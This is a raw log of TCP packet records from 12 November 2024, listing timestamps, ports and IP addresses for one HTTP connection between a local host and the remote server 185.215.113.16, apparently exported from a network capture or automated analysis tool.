Nov 12, 2024 02:13:36.708220959 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708245993 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708564997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708607912 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708612919 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708626986 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708652020 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708673000 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708686113 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708697081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708719969 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708853960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708867073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708877087 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.708893061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.708915949 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778218031 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778235912 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778248072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778328896 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778359890 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778517008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778589010 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778592110 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778610945 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778625965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778628111 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778639078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778646946 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778666973 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778676987 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778747082 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778785944 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778786898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778803110 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778826952 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778856993 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778871059 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778911114 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.778975964 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.778990030 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.779000998 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.779011965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.779012918 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.779047012 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.779808998 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.779859066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.779870033 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.779884100 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.779885054 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.779898882 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.779915094 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.779923916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.779956102 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.825558901 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825571060 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825731039 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825742006 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825757980 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825768948 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825774908 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825777054 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.825778961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825786114 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825797081 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.825802088 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825813055 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825824022 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.825824022 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.825845957 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.825864077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.826045036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.826086998 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.826122046 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.826134920 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.826159000 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.826169014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.826195002 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.826206923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.826231003 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.826255083 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895046949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895059109 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895065069 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895070076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895246029 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895287991 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895329952 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895330906 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895374060 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895379066 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895421982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895428896 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895436049 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895447016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895456076 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895474911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895484924 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895730972 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895744085 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895755053 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895781994 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895804882 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895879984 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895891905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895903111 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895919085 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895945072 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.895947933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895960093 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.895982027 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.896014929 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.896291971 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.896312952 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.896337032 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.896368027 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.896430016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.896450996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.896462917 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.896462917 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.896475077 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.896486044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.896490097 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.896508932 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.896533966 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.942527056 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942576885 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.942605019 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942620993 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942632914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942635059 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.942645073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942661047 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.942671061 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.942691088 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.942694902 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942734003 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.942734957 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942747116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942773104 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.942954063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942966938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942977905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942990065 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.942995071 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.943001986 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.943026066 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.943046093 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.943418026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.943434000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.943449974 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.943460941 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.943489075 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.987978935 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.988025904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:36.988051891 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:36.988086939 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012599945 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012624025 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012636900 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012649059 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012660027 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012661934 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012670040 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012672901 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012676954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012689114 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012702942 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012703896 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012710094 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012720108 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012723923 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012743950 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012744904 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012768030 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012787104 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012907982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012953997 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.012962103 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012974977 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012988091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.012995958 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013010025 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013015985 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013027906 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013050079 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013372898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013384104 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013400078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013416052 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013434887 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013439894 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013448000 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013459921 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013468981 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013501883 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013844967 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013895035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.013901949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.013946056 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.059529066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.059541941 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.059551954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.059581041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.059587955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.059592962 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.059604883 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.059612036 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.059614897 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.059628963 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.059644938 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.059659958 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.060094118 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.060107946 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.060120106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.060131073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.060138941 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.060154915 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.060180902 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.060323954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.060358047 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.060372114 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.060389996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.060403109 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.060405970 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.060432911 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.060452938 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129332066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129347086 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129359961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129409075 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129426003 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129436970 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129462004 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129477024 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129477024 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129491091 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129501104 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129503965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129518032 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129535913 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129549980 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129658937 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129668951 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129702091 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129781961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129827023 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129858971 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129869938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129883051 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.129898071 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.129924059 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130206108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130251884 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130302906 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130317926 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130330086 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130342007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130342960 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130354881 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130354881 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130367041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130378008 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130379915 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130404949 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130414963 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130883932 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130906105 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130918980 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130924940 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130930901 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130944014 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.130945921 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130963087 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.130981922 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.176695108 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.176717997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.176736116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.176748037 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.176750898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.176763058 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.176764965 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.176790953 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.176801920 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.176856995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.176892996 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.177015066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177027941 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177040100 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177051067 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.177052021 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177067041 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177078962 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177079916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.177086115 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177097082 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177109003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177115917 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.177149057 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.177149057 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.177683115 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177692890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.177752018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246304035 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246328115 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246345997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246376991 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246402025 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246433973 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246445894 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246459961 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246471882 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246476889 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246504068 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246531963 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246542931 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246587992 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246661901 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246674061 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246685982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246696949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246706009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246711016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.246733904 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.246751070 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247100115 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247145891 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247153997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247165918 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247194052 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247208118 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247260094 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247304916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247319937 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247332096 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247343063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247364998 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247385979 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:37.247579098 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:37.247625113 CET	49763	80	192.168.2.4	185.215.113.16
